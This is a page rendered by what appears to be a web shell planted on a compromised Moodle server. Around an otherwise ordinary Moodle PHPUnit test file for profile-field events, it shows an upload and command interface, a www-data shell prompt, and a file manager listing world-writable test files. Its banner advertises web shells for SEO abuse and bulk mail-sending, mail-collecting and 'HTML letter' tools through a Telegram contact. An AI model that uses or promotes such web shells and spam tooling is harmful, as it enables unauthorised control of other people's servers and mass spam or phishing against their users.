__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\event;

use profile_define_base;

defined('MOODLE_INTERNAL') || die();

global $CFG;

require_once($CFG->dirroot . '/user/profile/definelib.php');

/**
 * Tests the events related to the user profile fields and categories.
 *
 * @package   core
 * @category  test
 * @copyright 2017 Mark Nelson <markn@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class profile_field_test extends \advanced_testcase {

    /**
     * Test set up.
     */
    public function setUp(): void {
        parent::setUp();
        $this->resetAfterTest();
    }

    /**
     * Test that triggering the user_info_category_created event works as expected.
     */
    public function test_user_info_category_created_event(): void {
        // Create a new profile category.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Trigger the event.
        $sink = $this->redirectEvents();
        \core\event\user_info_category_created::create_from_category($cat1)->trigger();
        $events = $sink->get_events();
        $sink->close();

        // Confirm we got the right number of events.
        $this->assertCount(1, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_category_created', $event);
        $this->assertEquals($event->objectid, $cat1->id);
        $this->assertEquals($event->other['name'], $cat1->name);
    }

    /**
     * Test that moving a user info category triggers an updated event.
     */
    public function test_user_info_category_updated_event(): void {
        global $DB;

        // Create new profile categories.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);
        $cat2 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category 2']);

        // Trigger the events.
        $sink = $this->redirectEvents();
        profile_move_category($cat1->id, 'down');
        $events = $sink->get_events();
        $sink->close();

        // Should now have two events.
        $this->assertCount(2, $events);
        $event1 = array_shift($events);
        $event2 = array_shift($events);

        // Validate that the events were correctly triggered.
        $this->assertInstanceOf('\core\event\user_info_category_updated', $event1);
        $this->assertEquals($event1->objectid, $cat1->id);
        $this->assertEquals($event1->other['name'], $cat1->name);

        $this->assertInstanceOf('\core\event\user_info_category_updated', $event2);
        $this->assertEquals($event2->objectid, $cat2->id);
        $this->assertEquals($event2->other['name'], $cat2->name);
    }

    /**
     * Test that deleting a user info category triggers a delete event.
     */
    public function test_user_info_category_deleted_event(): void {
        // Create new profile categories.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);
        $cat2 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category 2']);

        // Trigger the event.
        $sink = $this->redirectEvents();
        profile_delete_category($cat2->id);
        $events = $sink->get_events();
        $sink->close();

        // Confirm we got the right number of events.
        $this->assertCount(1, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_category_deleted', $event);
        $this->assertEquals($event->objectid, $cat2->id);
        $this->assertEquals($event->other['name'], $cat2->name);
    }

    /**
     * Test that creating a user info field triggers a create event.
     */
    public function test_user_info_field_created_event(): void {
        global $DB;

        // Create a new profile category.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Create a new profile field.
        $data = new \stdClass();
        $data->datatype = 'text';
        $data->shortname = 'example';
        $data->name = 'Example field';
        $data->description = 'Hello this is an example.';
        $data->required = false;
        $data->locked = false;
        $data->forceunique = false;
        $data->signup = false;
        $data->visible = '0';
        $data->categoryid = $cat1->id;

        // Trigger the event.
        $sink = $this->redirectEvents();
        $field = new profile_define_base();
        $field->define_save($data);
        $events = $sink->get_events();
        $sink->close();

        // Get the field that was created.
        $field = $DB->get_record('user_info_field', array('shortname' => $data->shortname));

        // Confirm we got the right number of events.
        $this->assertCount(1, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_field_created', $event);
        $this->assertEquals($event->objectid, $field->id);
        $this->assertEquals($event->other['shortname'], $field->shortname);
        $this->assertEquals($event->other['name'], $field->name);
        $this->assertEquals($event->other['datatype'], $field->datatype);
    }

    /**
     * Test that updating a user info field triggers an update event.
     */
    public function test_user_info_field_updated_event(): void {
        // Create a new profile category.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Create a new profile field.
        $data = $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => 'example',
            'name' => 'Example field',
            'description' => 'Hello this is an example.',
            'categoryid' => $cat1->id,
        ]);

        // Trigger the event.
        $sink = $this->redirectEvents();
        $field = new profile_define_base();
        $field->define_save($data);
        $events = $sink->get_events();
        $sink->close();

        // Confirm we got the right number of events.
        $this->assertCount(1, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_field_updated', $event);
        $this->assertEquals($event->objectid, $data->id);
        $this->assertEquals($event->other['shortname'], $data->shortname);
        $this->assertEquals($event->other['name'], $data->name);
        $this->assertEquals($event->other['datatype'], $data->datatype);
    }

    /**
     * Test that moving a field triggers update events.
     */
    public function test_user_info_field_updated_event_move_field(): void {
        // Create a new profile category.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Create a new profile field.
        $field1 = $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => 'example',
            'name' => 'Example field',
            'description' => 'Hello this is an example.',
            'categoryid' => $cat1->id,
        ]);

        // Create another that we will be moving.
        $field2 = $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => 'example2',
            'name' => 'Example field 2',
            'categoryid' => $cat1->id,
        ]);

        // Trigger the events.
        $sink = $this->redirectEvents();
        profile_move_field($field2->id, 'up');
        $events = $sink->get_events();
        $sink->close();

        // Should now have two events.
        $this->assertCount(2, $events);
        $event1 = array_shift($events);
        $event2 = array_shift($events);

        // Validate that the events were correctly triggered.
        $this->assertInstanceOf('\core\event\user_info_field_updated', $event1);
        $this->assertEquals($event1->objectid, $field2->id);
        $this->assertEquals($event1->other['shortname'], $field2->shortname);
        $this->assertEquals($event1->other['name'], $field2->name);
        $this->assertEquals($event1->other['datatype'], $field2->datatype);

        $this->assertInstanceOf('\core\event\user_info_field_updated', $event2);
        $this->assertEquals($event2->objectid, $field1->id);
        $this->assertEquals($event2->other['shortname'], $field1->shortname);
        $this->assertEquals($event2->other['name'], $field1->name);
        $this->assertEquals($event2->other['datatype'], $field1->datatype);
    }

    /**
     * Test that when we delete a category that contains a field, that the field being moved to
     * another category triggers an update event.
     */
    public function test_user_info_field_updated_event_delete_category(): void {
        // Create profile categories.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);
        $cat2 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Create a new profile field.
        $field = $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => 'example',
            'name' => 'Example field',
            'description' => 'Hello this is an example.',
            'categoryid' => $cat1->id,
        ]);

        // Trigger the event.
        $sink = $this->redirectEvents();
        profile_delete_category($cat1->id);
        $events = $sink->get_events();
        $sink->close();

        // Check we got the right number of events.
        $this->assertCount(2, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_field_updated', $event);
        $this->assertEquals($event->objectid, $field->id);
        $this->assertEquals($event->other['shortname'], $field->shortname);
        $this->assertEquals($event->other['name'], $field->name);
        $this->assertEquals($event->other['datatype'], $field->datatype);
    }

    /**
     * Test that deleting a user info field triggers a delete event.
     */
    public function test_user_info_field_deleted_event(): void {
        // Create a new profile category.
        $cat1 = $this->getDataGenerator()->create_custom_profile_field_category(['name' => 'Example category']);

        // Create a new profile field.
        $data = $this->getDataGenerator()->create_custom_profile_field([
            'datatype' => 'text',
            'shortname' => 'delete',
            'name' => 'Example field for delete',
            'description' => 'Hello this is an example.',
            'categoryid' => $cat1->id,
        ]);

        // Trigger the event.
        $sink = $this->redirectEvents();
        profile_delete_field($data->id);
        $events = $sink->get_events();
        $sink->close();

        // Confirm we got the right number of events.
        $this->assertCount(1, $events);

        // Validate that the event was correctly triggered.
        $event = reset($events);
        $this->assertInstanceOf('\core\event\user_info_field_deleted', $event);
        $this->assertEquals($event->objectid, $data->id);
        $this->assertEquals($event->other['shortname'], $data->shortname);
        $this->assertEquals($event->other['name'], $data->name);
        $this->assertEquals($event->other['datatype'], $data->datatype);
    }
}

Filemanager

Name Type Size Permission Actions
base_test.php File 38.53 KB 0777
contentbank_content_created_test.php File 2.6 KB 0777
contentbank_content_deleted_test.php File 2.96 KB 0777
contentbank_content_updated_test.php File 2.75 KB 0777
contentbank_content_uploaded_test.php File 3.24 KB 0777
contentbank_content_viewed_test.php File 2.81 KB 0777
context_locked_test.php File 3.8 KB 0777
course_module_instance_list_viewed_test.php File 2.58 KB 0777
course_module_viewed_test.php File 3.42 KB 0777
deprecated_test.php File 1.33 KB 0777
draft_file_added_test.php File 3.05 KB 0777
draft_file_deleted_test.php File 2.98 KB 0777
events_test.php File 13.95 KB 0777
grade_deleted_test.php File 3.02 KB 0777
grade_item_deleted_test.php File 2.87 KB 0777
profile_field_test.php File 12.32 KB 0777
unknown_logged_test.php File 1.95 KB 0777
user_graded_test.php File 9.68 KB 0777
user_password_updated_test.php File 2.45 KB 0777
Filemanager